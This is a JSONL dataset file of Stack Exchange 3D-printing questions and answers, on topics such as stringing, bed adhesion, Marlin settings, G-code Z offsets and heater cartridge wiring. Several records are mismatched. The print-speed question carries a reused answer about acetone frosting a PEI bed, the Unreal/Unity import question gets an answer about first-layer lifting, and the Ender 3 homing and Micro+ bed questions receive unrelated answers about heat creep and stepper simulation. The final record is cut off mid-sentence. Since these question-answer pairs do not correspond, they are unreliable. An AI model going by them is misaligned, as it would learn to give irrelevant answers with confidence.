{"id": "hf_517f437bbc4c", "question": "<p>I'm having a &quot;minor&quot; stringing issue, where I'm only getting stringing in helpers/support and infill area.</p>\n<p>Background: Calibrating printer with 1 roll of PLA. Still getting minimal stringing, but mainly, stringing in helpers/support and infill areas. Tried different temps, but didn't seem to affect this.</p>\n<p>Suspect some kind of slicer optimization settings? I mean, it's logical to not care about how pretty supports &amp; infill look.</p>\n<p>I would like to understand why this is happening.\nPlease point me to the right direction.\nThanks in advance.</p>\n<p>Example photo: Outside in: brim, shell/wall, support, brim.\nFrom <a href=\"https://www.thingiverse.com/thing:4512926\" rel=\"nofollow noreferrer\">Thingiverse</a>.</p>\n<p><a href=\"https://i.stack.imgur.com/hEX6f.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/hEX6f.jpg\" alt=\"Photo\" /></a></p>\n", "question_body": "", "answer": "It would be great if you could add an image showing the stringing that occurs on the filled and helper/support part of the print. It's quite difficult to visualise what is happening/your problem.\nI would assume that the density/fill of the print will be different for infill versus helper/support parts of the print. As a result, there are more gaps in the helper/support parts and stringing can more easily occur between them.\nHave you tried enabling z-hop/retraction to prevent further stringing?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:14.710033"}
{"id": "hf_1a9310b1215c", "question": "<p>I've put together a flashlight mount for a camera coldshoe in OpenSCAD.  I originally modeled it in FreeCAD and it was easy to round the edges of the clamp with a fillet and that makes it a little easier to get the light in and out of the mount.</p>\n<p>I'm not sure how to do it in OpenSCAD.  Naively, I'm sure I could calculate where on my semicircle I would need to add some cylinders in order to round the sharp corners, but it seems like there'd be something a little easier than that.</p>\n<p>Am I missing something?</p>\n<p>Here's the <a href=\"https://github.com/tncbbthositg/cold_shoe_light_mount/blob/795489c90f412502a2545536e906ad8971cfd691/cold_shoe_light_mount.scad\" rel=\"nofollow noreferrer\">coldshoe light mount SCAD file</a> and this is what it looks like:\n<a href=\"https://i.stack.imgur.com/StF93.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/StF93.png\" alt=\"coldshoe light mount\" /></a></p>\n", "question_body": "", "answer": "I'm far from a wizard with OpenSCAD, but enjoy using the program, learning something new every time. In your case, it's likely that you can use the\nroundanything library\nto accomplish your objective.\nThe library will present various implementations in the samples, making it an exercise for the reader to determine which module calls will present the solution.\nThe image below shows a part which has had the radii applied in a manner similar to your image:", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:14.760350"}
{"id": "hf_08b9356b4aea", "question": "<p>I recently tried cleaning my CR-10S Pro heat bed with acetone and it made this white stain on it.</p>\n<p>Anyone have any solutions to this?</p>\n", "question_body": "", "answer": "If you use a build surface such as PEI, acetone frosts your surface, leaving a white film appearance.  If you have no additional surface on a glass or metal bed, it is incomplete cleaning.  If incomplete cleaning, you could try isopropyl alcohol (IPA) immediately after acetone, followed immediately by a water based cleaner or DI/distilled water. (IPA dissolves acetone and water dissolves IPA. Once the film dries the next step may not work.)\nYou can't clean off a frosted surface.  The black surface of the hot bed in images of the CR-10S Pro appears to indicate that the steel bed has a build surface with a plastic material such as PEI.  Reviews of the build surface being difficult to remove prints also implies a plastic build surface on the steel.  Thus, it appears that the white film after cleaning with acetone is actually a frosted surface.\nIf you use an Elmer's washable glue stick or one with PWP, it will form a barrier between your print and the build surface, that not only will protect your build surface, but will make it easier to clean your build surface with IPA or water based cleaners.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:14.825247"}
{"id": "hf_e2804dd4cb47", "question": "<p>I'm printing a lot of draft parts so I don't care if they fall apart in my fingers, I just need the shape. I can scroll to the Tune menu on my Ender 3 Pro console and set the speed to 200% and it doubles the speed. But when I set the Print Speed setting to 100 instead of 50 mm/s in Cura, it doesn't save much time, even if I adjust the individual first layer speed, wall speed, top layer speed, etc. What is the difference?</p>\n<p>Ideally, I would like the first layer to print normally, and then print at 2x speed.</p>\n", "question_body": "", "answer": "If you use a build surface such as PEI, acetone frosts your surface, leaving a white film appearance.  If you have no additional surface on a glass or metal bed, it is incomplete cleaning.  If incomplete cleaning, you could try isopropyl alcohol (IPA) immediately after acetone, followed immediately by a water based cleaner or DI/distilled water. (IPA dissolves acetone and water dissolves IPA. Once the film dries the next step may not work.)\nYou can't clean off a frosted surface.  The black surface of the hot bed in images of the CR-10S Pro appears to indicate that the steel bed has a build surface with a plastic material such as PEI.  Reviews of the build surface being difficult to remove prints also implies a plastic build surface on the steel.  Thus, it appears that the white film after cleaning with acetone is actually a frosted surface.\nIf you use an Elmer's washable glue stick or one with PWP, it will form a barrier between your print and the build surface, that not only will protect your build surface, but will make it easier to clean your build surface with IPA or water based cleaners.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:14.874032"}
{"id": "hf_081a86e9ad06", "question": "<p>If someone creates a 3D model of a character for 3D printing can I import that model into Unreal engine or Unity 3D for use in a video game? Also is the inverse true? Can I get 3D model of Mario and send that to a 3D printer?</p>\n<p>Specifically, it’s more important to know if I can pull a 3D printer model into an unreal game project</p>\n", "question_body": "", "answer": "I haven't seen lifts that aren't on the edge of the print, such as warping, or the entire printed surface lifts.  When I get something like in your photograph, it's because the print surface isn't flat and the first layer matches the surface topology.  If the second image shows the print surface, it looks like blobs on the surface that may be keeping it from being flat.\nThe first layer thickness greatly depends on how high the nozzle is above the print surface.  If this distance varies, the first layer thickness will vary.  Also make sure your print surface is free of any substances that the hot extruded material might cause to boil.\nAny chance you are removing the print from the bed before it cools down.  This can distort the print if the material is still soft.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:14.928423"}
{"id": "hf_69f7138c9ecf", "question": "<p>I have found a video about Invisalign. I saw a 3D printer in the video but I did not understand its type. Can you help me? Do you share a brief piece of information about its type?</p>\n<p>Below is the video on YouTube.</p>\n<p><div class=\"youtube-embed\"><div>\r\n                <iframe width=\"640px\" height=\"395px\" src=\"https://www.youtube.com/embed/bKsGNrEKx9M?start=0\"></iframe>\r\n            </div></div></p>\n", "question_body": "", "answer": "If you look at the video at 37 seconds, it appears to be SLA or DLP.\nFurther reading:\nhttps://www.solidprint3d.co.uk/wp-content/uploads/2019/04/SLA_vs_DLP.pdf", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:14.952897"}
{"id": "hf_672ebd806932", "question": "<p>I have been using an Anycubic i3 Mega for about a month now and it worked fine. But when I designed a simple model in Fusion 360 and sliced it with Cura it started to have issues sticking to the bed. I thought the problem was the model so I tried to print a Benchy, but the same problem occurred. I readjusted the bed but it's still not working. I'm not sure how I can trouble shoot this.</p>\n", "question_body": "", "answer": "The proper answer could be not related to Fusion, as you already noticed.\nI suppose the issue is that the Ultrabase surface (or any other glass surface you have installed) was\nnot cleaned during the first month\n? So it should be cleaned from grease and possibly dust. The general cleaning method is to use isopropyl alcohol (IPA) from time to time (btw. I am curious if it is advised in a printer's manual). If it does not fully help, I suppose using a dish soap with hot water prior to IPA is good step. Though I do not own this bed, so could not be 100 % sure of impact. (Definitely do not use any extra adhesion helpers for Ultrabed, because it has some specific microstructure which will get stuffed.)\nYou could want review other threads like this\nHow to get Sunlu PLA to adhere to the printing bed?\nto get other hints and supplement your checklist. One thing to check first (and regularly) is proper bed levelling at current moment - and compare to initial layer settings in Cura (thickness, width, flow percentage).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:15.049716"}
{"id": "hf_57c2429fd6f0", "question": "<p>Comparing trends show that 3D printing stepped over to another level around 2012~2013. Why?</p>\n<p><a href=\"https://i.stack.imgur.com/9tFj9.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/9tFj9.png\" alt=\"3D printing vs 3D scanning\" /></a></p>\n<p><a href=\"https://i.stack.imgur.com/N488f.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/N488f.png\" alt=\"3D printer vs 3D scanner\" /></a></p>\n", "question_body": "", "answer": "A great story on the history of 3D printing is published by\n3DSOURCED\n. It shows that the patents for FDM and SLA expired a few years earlier and the\nRepRap\n3D printer self replicating project became very popular. Also, 3D printer manufacturers emerged and electronics, software and parts became available at a larger scale, so that it was more affordable for a hobbyist to dive in.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:15.075028"}
{"id": "hf_2b782dd5e74e", "question": "<p>I am building a 3D printer from scratch, the bed will only move on Z and the head will stay at the top of the printer and move X and Y.</p>\n<p>How do I modify the Marlin firmware to have the bed lower as it prints instead of lift like most printers.</p>\n", "question_body": "", "answer": "To understand normal commands from a basic printer slicer, all movement commands in g-code are written to be away from the base layer as positive. Note that\ntechnically\na \"lower the bed\" printer does violate Orthonormal coordinates unless you either swap X and Y while retaining 0 in the front-left corner or put 0 in the front-right corner, going left for +X (e.g. inverting that motor axis too) and back for -Y.\nHardware\nTo\ninvert\nthe movement direction of an axis without rewriting the firmware there are two main ways, from mos invasive to easiest:\nMount the actuator \"upside-down\" as that flips the rotational normal vector.\nuse a left-hand-threaded rod and nut. This does not flip rotation but how rotation affects the bed.\nalter the stepper cables by \"crossing\" one of the phases leads. The motor rotates reversed to its commands now.\nFirmware\nIn Marlin, you can also just flip the direction of the motor via\n```\nconfiguration.h\n```\nby altering the line from\n```\nfalse\n```\nto\n```\ntrue\n```\n:\n```\n```\n#define INVERT_Z_DIR true\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:15.111553"}
{"id": "hf_d7b354cde8c8", "question": "<p>Just received my new Ender 3 v2. When using the Auto Home feature, the Y-axis motor drives the bed as far back as possible then the motor grinds for about 10-15 seconds. The Y-axis limit switch is not being depressed and the limit stop is about .5 inches away from the switch. The control unit locks at this point and must be power cycled to regain control. If I manually depress the limit switch then it appears to act normally.</p>\n<p>Clearly either the limit switch is way out of adjustment or the bed is not positioned properly. Can this be fixed or should I send it back as defective?</p>\n", "question_body": "", "answer": "You could still get heat creep with a Bowden tube.  It has different characteristics.  Instead of jamming up in the direct drive, the filament can melt too far upwards into the heat break where it can refreeze and jam.  The characteristic, if you can pull out the filament, is widened filament extending into the heat break.\nSee\nAir printing/jamming midway through raft creation\nand\nWhat are ways to avoid heat creep?\nAdding fans to an enclosure improves the temperature control in the enclosure.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:15.148950"}
{"id": "hf_1da7809ede83", "question": "<p>So basically I've been having a problem with my Micro+.\nIt will not level / calibrate itself and I can't fix it. The reason I'm here is that I've been using Cura, and somehow it destroyed my bed. (See image)</p>\n<p><a href=\"https://i.stack.imgur.com/Qe8cA.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/Qe8cA.jpg\" alt=\"print bed for Micro +\" /></a></p>\n<p>I would like to know how to get it off, as I tried freezing, scraping and sandpaper</p>\n<hr />\n<p>To clarify some things:</p>\n<ul>\n<li>The material is PLA,</li>\n<li>bed is made of plastic.</li>\n</ul>\n<p>My build plate surface got destroyed after trying to use Cura, which sliced wrong and engraved the print into my bed.</p>\n", "question_body": "", "answer": "In general I would use\nhttps://github.com/rcarlyle/StepperSim\nwhich takes into account more parameters.\nYou can play with voltage and current to see which combination gives you the best results for your motor.\nOr you can change to a TMC driver with higher voltage (35-50 V) to keep torque at much higher speeds and push the current motor more.\nSince the torque you require is likely not so high, you can increase the speed of your stepper motor with 3D printed herringbone gears, for example 4:1. They don't need to be super accurate, backlash is totally fine considering the ridiculous 40:1 reduction.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:15.247282"}
{"id": "hf_d46b4fe5ca4d", "question": "<p>I want to build a mini CNC machine and need some lead screws. I was wondering I can simply 3D print some. There are a few 3D models out there but I want to know if printing it in PLA+ has enough strength for a small CNC. Is it possible?</p>\n", "question_body": "", "answer": "Is it possible? Yes. Is it advisable?\nNo\nLead screws need to be smooth and have little to no stretch and there can be a lot of tension on them. However, 3D prints are quite rough by the way they are made and super weak on tension forces - and not have a good compression withstanding either.\na 3D printed leadscrew is therefore\nnot adviseable\n, especially since ready-made leadscrews and fitting nuts are cheap in the shape of nuts and threaded rods for the crudest setup.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:15.271848"}
{"id": "hf_a6c9b8c3ca61", "question": "<p>Being new to 3D printing, I started using Cura (which came with my Ender 3v2) to slice models I found on Thingiverse. I know that there are other slicers and have heard positive things about PrusaSlicer.</p>\n<p>I know that settings will have different names, but I am asking more about the setup. What things, settings, etc. should I be aware of when using PrusaSlicer? Will I need to re-calibrate anything in PrusaSlicer?</p>\n", "question_body": "", "answer": "Basically all slicers work very similarly, it is a matter of preference, being accustomed, or wanting to use a certain (set of) features. Their job is to prepare the object to be sliced in layers to be executed by the printer you use. For every slicer to work properly, you need to configure the printer settings correctly.\nBasically, all slicers have the following basic settings:\nPrinter settings,\nthese contain information on the printer like build volume, origin, heated bed, nr. of extruders (and what filament diameter is used), scripts, etc.\nfilament settings,\nthese contain e.g. information on the print and bed temperature\nprint settings\nthese contain all parameters you use in your normally used slicer, these can be hundreds of options like speeds, accelerations, layer height, nr. of walls, etc.\nsome of the movement profile settings (like acceleration, jerk, max-speed) might be handled as a\nprinter\nsetting by some slicers and as a\nprint\none by different slicers. In the end, some of these are dependant on the printer's construction.\nPrinter dimensions and layout, filament diameter, and start and end G-code scripts are the things to look for. The rest is straightforward, you need to specify material and object slice settings as you would normally do.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:15.295340"}
{"id": "hf_d82deb68a545", "question": "<p>I have read that if I disconnect OctoPrint when printing, the print will stop.  Since I thought the advantage of OctoPrint over, say, printing from Cura, was that it didn't tie up the computer while the print was taking place, what are the advantages of OctoPrint?</p>\n", "question_body": "", "answer": "The benefit of using OctoPrint as a printserver lies in the fact that it can be used on a stable computer platform. E.g. when you install OctoPrint on a Raspberry Pi, you are ensured that the \"computer\" stays online. Other platforms, such as Windows are much prone to interrupt the printing process (user actions during printing, sleep mode, Windows updates, etc.). Furthermore, the power consumption of the Raspberry Pi is also much lower than a full computer or laptop running OctoPrint.\nAn advantage of running OctoPrint on a dedicated Raspberry Pi is that you can access it from anywhere within your network through a browser interface (or even from the outside) as it is always online. Other advantages of OctoPrint over e.g. Cura is that there are numerous plugins available to tailor the printing process to your needs.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:15.343026"}
{"id": "hf_cc31fc09977b", "question": "<p>I'm new to the 3D printing world and got my first Ender 3 (with the 32-bit controller board).</p>\n<p>I have a problem with every single print. I've upgraded to the newest Marlin firmware, did the mesh leveling then started printing and fix the Z bed option in &quot;Tune - Z bed&quot; during the print (so the first layer is perfect). Please note that I save all the data of the mesh before end of the print. Then, when I start the same print again, the nozzle height is wrong. This happens every single print. The strange thing is that I need to adjust the height differently after every print. Like, the first print was -0.055 mm, second print was 0.30 mm, then it was +0.25 mm somehow.</p>\n<p>I really like to print without these constant adjustments.</p>\n", "question_body": "", "answer": "It sounds like your bed is unstable. This is what I had to do with my Tronxy X1, and I fixed it by installing a decent bed stabiliser. Now that I have a stable bed, I only have to re-level it occasionally. However, the Tronxy X1 is a cantilever printer with a single rail for the bed, not an Ender 3.\nI would suggest that you tighten the bed-levelling springs as far as they will go whilst still leaving sufficient movement for bed levelling, and re-position the end-stop switch. Then re-level the bed. If that doesn't work, try fitting stiffer springs. Upgrades are available for the Ender 3. If that still doesn't work, look for bed stabilisation solutions for your printer.\nNote also that the bed-levelling knobs have a reputation for coming loose on the Ender 3. Tightening the springs (or fitting stiffer springs) may cure this, but some users fit locking nuts to stop the knobs moving.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:15.378973"}
{"id": "hf_d7c9502849a0", "question": "<p>I was thinking about <a href=\"https://lifehacks.stackexchange.com/questions/24627/how-to-paint-a-circle-pattern-on-a-big-piece-of-paper\">this question</a> and thought of maybe printing a pattern-drawing roller painter.</p>\n<p>The question is: is it possible to print with an ink absorbing material that could make a paint roller possible?</p>\n<p>P.S: I don't own a 3D printer, nor have I any deep knowledge in this matter. I simply want to know if this is feasible, so I can start looking for someone to 3D print this for me. If it's not, knowing beforehand could spare me a lot of time.</p>\n", "question_body": "", "answer": "Not really.\nIt's possible to 3D print in materials like TPE that are rubbery. In theory, one could print a sheet of the pattern and then wrap that sheet around a roller. That would be expensive, though, and I doubt TPE would absorb enough paint/ink to lay down an good and even coat.\nAs pointed out in the comments,there is one of foaming TPU filament (\nVarioshore TPU\nthat might be able to achieve the kind of soft, spongy feel that a paint roller would need but it's expensive and, I suspect, soft but not particularly absorbent in the way you would need.\nI have no direct experience with it, though, so I can't say for sure. For the price and amount of time that would be required to get a print roller produced the way you need, I think you'd be better off buying a\ncustom pattern roller/brayer\nor making one yourself.\nI imagine you could achieve this by getting a sheet of stamp pad foam and plotting it with a CNC cutter (or cutting it by hand) and then taping/gluing it around a tube.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:15.450618"}
{"id": "hf_ccd37e70d107", "question": "<p>I recently got an Ender 3 Pro for my birthday, and I am having some problems with elephant's foot (as the title suggests). I have tried several fixes; lowering the print speed, changing the print micron size (quality) in my slicer, and I have also tried the masking tape trick (it definitely does not work). I want to know if there are any other ways to prevent elephant's foot on my prints. I first noticed it on a game-cartridge holder. It was four and a half millimeters thick on the bottom. I think that it could be an issue with the design, but I'm not entirely sure. I can send the specs for the design if you want to look at them.</p>\n", "question_body": "", "answer": "Elephant foot on an FDM machine is typically caused by more material (filament) being present in that layer than it has space for.\nThe most common cause of this is your z-zero is too low, so for the first layer the nozzle starts too close to the bed and the filament gets \"squeezed\" laterally. You can try adjusting your z-zero or z-stop to allow slightly more space, fractions of a millimeter, between the nozzle and bed for your first layer.\nIf you don't want to try that, or you'd like to try a different solution first, consider printing the part on a raft so that it starts raised up off the bed and away from that elephant-footing.\nThere are a handful of other potential causes and factors which can make this better or worse, things like having a large footprint on the bed, but I hope the above is a quick and easy place to start.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:15.473841"}
{"id": "hf_2d53ddb661df", "question": "<p>Suddenly my prints start having small strings and I'm not sure what to do to eliminate them.</p>\n<p>I have already tried to clean the filament tube, cleaned up the nozzle, and played with various retraction settings. Nothing seems to work and I still see these small strings.</p>\n<p><a href=\"https://i.stack.imgur.com/uweHt.jpg\" rel=\"nofollow noreferrer\" title=\"3D print showing stringing\"><img src=\"https://i.stack.imgur.com/uweHt.jpg\" alt=\"3D print showing stringing\" title=\"3D print showing stringing\" /></a></p>\n<p>Any idea how I can eliminate it?</p>\n", "question_body": "", "answer": "What you're seeing does not look like\nstringing\n, which I would characterize as material that exited the nozzle after extrusion was supposed to have stopped, usually due to missing or insufficient retraction, but like the extrusions along the concave contours\nfailed to bond\nto the previous layer and got drawn across to a point on the other side of the contour where some degree of adhesion resumed. This happens when the lateral acceleration force of going around the curve overcomes the bonding of the new material to the existing material it's being laid down against, and in my experience it's always the result of\nmoisture-contaminated filament\n. This matches your description of the problem has something that \"suddenly\" started happening.\nTo fix it, dry your filament. If your bed is big enough, the easiest way to do this is to lay the whole spool on the heated bed covered by a cardboard filament box with one side cut out to make a heat chamber, and running the bed heater at around 60-70°C (for PLA) for several hours, flipping the spool a few times during it. You can also use an oven but I would not trust the temperature control not to shoot up high enough to ruin the filament. If you want a less hackish solution, all sorts of specialized filament drying systems are available but I don't have experience with any to recommend. I just use my bed for PLA and oven for materials that can withstand higher temperatures.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:15.496190"}
{"id": "hf_eeba889665e9", "question": "<p>In slicer G-code is it possible to set the probe Z offset for the first layer only?</p>\n<p>For my stock E3 plate I find -4.125 mm best however for glass I need to go to -4.175 mm for the first layer to get better adhesion. So it's a manual process every time. Any way to tell the slicer do the first layer at -4.175 mm and next ones at -4.125 mm?</p>\n", "question_body": "", "answer": "I don't understand the reasoning behind a first layer having a different offset from the following layers, but, You can manually add a re-definition of the current height after the first layer, suppose your first layer is 0.2 mm, you just need to tell the printer to move to a slightly higher next layer to redefine this as a different Z-offset.\nFrom a G-code file find the start of the second layer:\n```\nG0 F600 X141.541 Y109.467 Z0.37\n```\nModify this to:\n```\nG0 F600 X141.541 Y109.467 Z0.42\n```\nNow insert the following command:\n```\nG92 X0.37\n```\nNow it is like you have changed the Z-offset.\nThe reason for not using\n```\nM206\n```\nis that is applied onto current offsets, if you accidentally save setting to memory after printing, it stores this offset. You can use\n```\nM206\n```\n, but use it carefully. A re-definition of the Z level is never stored, the next\n```\nG28\n```\nerases the effect, so does repowering the motors.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:15.517240"}
{"id": "hf_6a8d369a5e2a", "question": "<p>Ive been experimenting will multiple color filament but the colors a more or less blended. Is there are filament that goes from one color directly to another without having transition color ex. red to green immediately.</p>\n<p>I've been tinkering with <a href=\"https://www.filamenthub.com\" rel=\"nofollow noreferrer\">Filament Hub Filament</a> and it is very good (some of the best I've ever used)  however I've had to essentially melt strands of one filament to the next and this is unsustainable.</p>\n<p>Anyone know any filaments or methods to have an immediate color change</p>\n", "question_body": "", "answer": "It takes at least a few cm of extrusion to purge the old color before switching to a new one due to mixing in the melt zone, and possibly much more depending on the particular pigments. If the old color is something bright like red and the new one is white or something close, it can even take many tens of cm before you get a clean new color.\nMulti-color extrusion setups either use separate hotends per color or fancy retraction setups where each color can be retracted separately, along with purge towers. You cannot get a clean color switch in the print just by having one in the input filament, and this is probably why all the mixed color filament that's sold is blended - so customers don't get disappointed when it doesn't work like you expect.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:15.607727"}
{"id": "hf_dba7de8f5c47", "question": "<p>I recently bought a Titan Aero hot end which came with a 24 V 30 W heater cartridge from E3D.  I'd like to use this but the cable length is only 1 meter long and I need it to be 2 meters.  The ends terminate with prong connections and there is no polarity to the prongs.  How can I safely extend the leads one meter and then connect to my Duet 3 Mainboard 6HC?</p>\n<p>Should the cable terminate with a JST connector instead of the prongs to connect to the Duet board?</p>\n<p><a href=\"https://i.stack.imgur.com/OVTbP.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/OVTbP.jpg\" alt=\"heater cartridge\" /></a>\n<a href=\"https://i.stack.imgur.com/bucyV.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/bucyV.jpg\" alt=\"duet\" /></a></p>\n", "question_body": "", "answer": "Heater polarity doesn't matter\nThe heater cartridges are just large resistors and so polarity is irrelevant. Either can be positive or negative.\nYou can extend the leads by cutting and splicing in ~20 gauge wires* to a two pin JST connector line you suggest.\n*\nAt 24 volts and 30 watts, you need\nwire that is rated to carry at least 1.25 amps\n. The US National Electric Code dictates that this should be 20 gauge wire, but their standard is very conservative. Since you don't need to adhere to NEC codes, you could get away with something thinner (ie higher gauge number).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:15.630780"}
{"id": "hf_cfba16e045e5", "question": "<p>Let's say I've made a 3D scan of my face and managed to get that into FreeCAD. How might I then create an object (it's a mask, okay?) that conforms to the shape of my face, with a given thickness, such that I can export and 3D-print that part only?</p>\n<p>So if I printed it, it would fit over my face, but still look like my face from the outside, too. It would be, say, 3mm thickness througout.</p>\n<p>To be clear, I'm not looking to make a 3D model of my head (the world does not need such a thing), or 3D model of a mold that I can use to replicate my head. I just want to make parts that conform to the shape of other, complex, parts.</p>\n", "question_body": "", "answer": "It depends on the software you're using, but here is an example with TinkerCad.\nStep 1: Import your 3D model (imagine that the ball is a head):\nStep 2: Change its type from \"Solid\" to \"Hole\"\nStep 3: Create a \"Solid\" box around your imported model.\nHere is the inverted Solid/Hole version:\nHere is the Solid version with the Hole model inside your Solid box:\nStep 4: Select both models and group them:\nStep 5: Add a box covering half of your mold (ideally splitting it in half):\nStep 6: Duplicate the mold and the box\nStep 7: Group the left mold with its surrounding box:\nStep 8: Invert the box of the left mold by taking its left corner and dragging it over to the right side of the mold:\nStep 9: Group the right box and the mold.\nStep 10: You now have two molds for each half of your model:\nBased on your comment, I'm adding a couple more steps:\nStep 11: Take your cast, duplicate it, enlarge the duplicate, make it a hole and fit it over your cast (like so):\nStep 12: Group the left cast with the larger \"Hole\" copy:\nAnd if you're going to 3D print it and fit it over the old model, then you might want to enlarge the cast by a few mm.\nIt's now up to you to figure out how to clamp the molds, inject them, and then separate them.\nA few things to keep in mind:\nYou might want to play with the placement of the model inside the mold a little better so it's not at the bottom of the mold but more towards the middle.\nYou could also get a bit more creative with the joining of the two molds by adding channels or some kind of way that they can fit into each other with greater precision. Here is an example:\n.\nIf the parts are more complex, then the cast will be more challenging and might require to be split into more parts.\nGood luck! :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:15.664942"}
{"id": "hf_8f6d3ff68f8c", "question": "<p>I have a problem in regards to filament jam, however I don't think that my case is any related to the extruder nozzle.\nAfter 30 to 40 minutes printing my filament bends and get stuck on the tube entrance.\nTo print a nut wheel which comes as a demo file, I had to repeat the operation 4 times, and I had to stop printing when it got stuck, and continue with the printing, which led to a small imperfection.\nWhat's the problem? The filament? The printer? Myself?\nI have a Voxelab Aquila (completely new) and the filament u just a generic PLA from Amazon.</p>\n<p><a href=\"https://i.stack.imgur.com/SkWzF.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/SkWzF.jpg\" alt=\"Filament jam\" /></a>\n<a href=\"https://i.stack.imgur.com/Hs1qY.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/Hs1qY.jpg\" alt=\"Filament jam from another angle\" /></a></p>\n", "question_body": "", "answer": "Something is stopping the filament from going down the tube 30 to 40 min. after you start printing.  You are correct that this doesn't sound like a clogged nozzle.  It could be deformed filament, but the closeness of the timing after the start sounds like heat creep.  Other possibilities are also listed at the linked stackexchange article.\nNote: with heat creep the filament will not 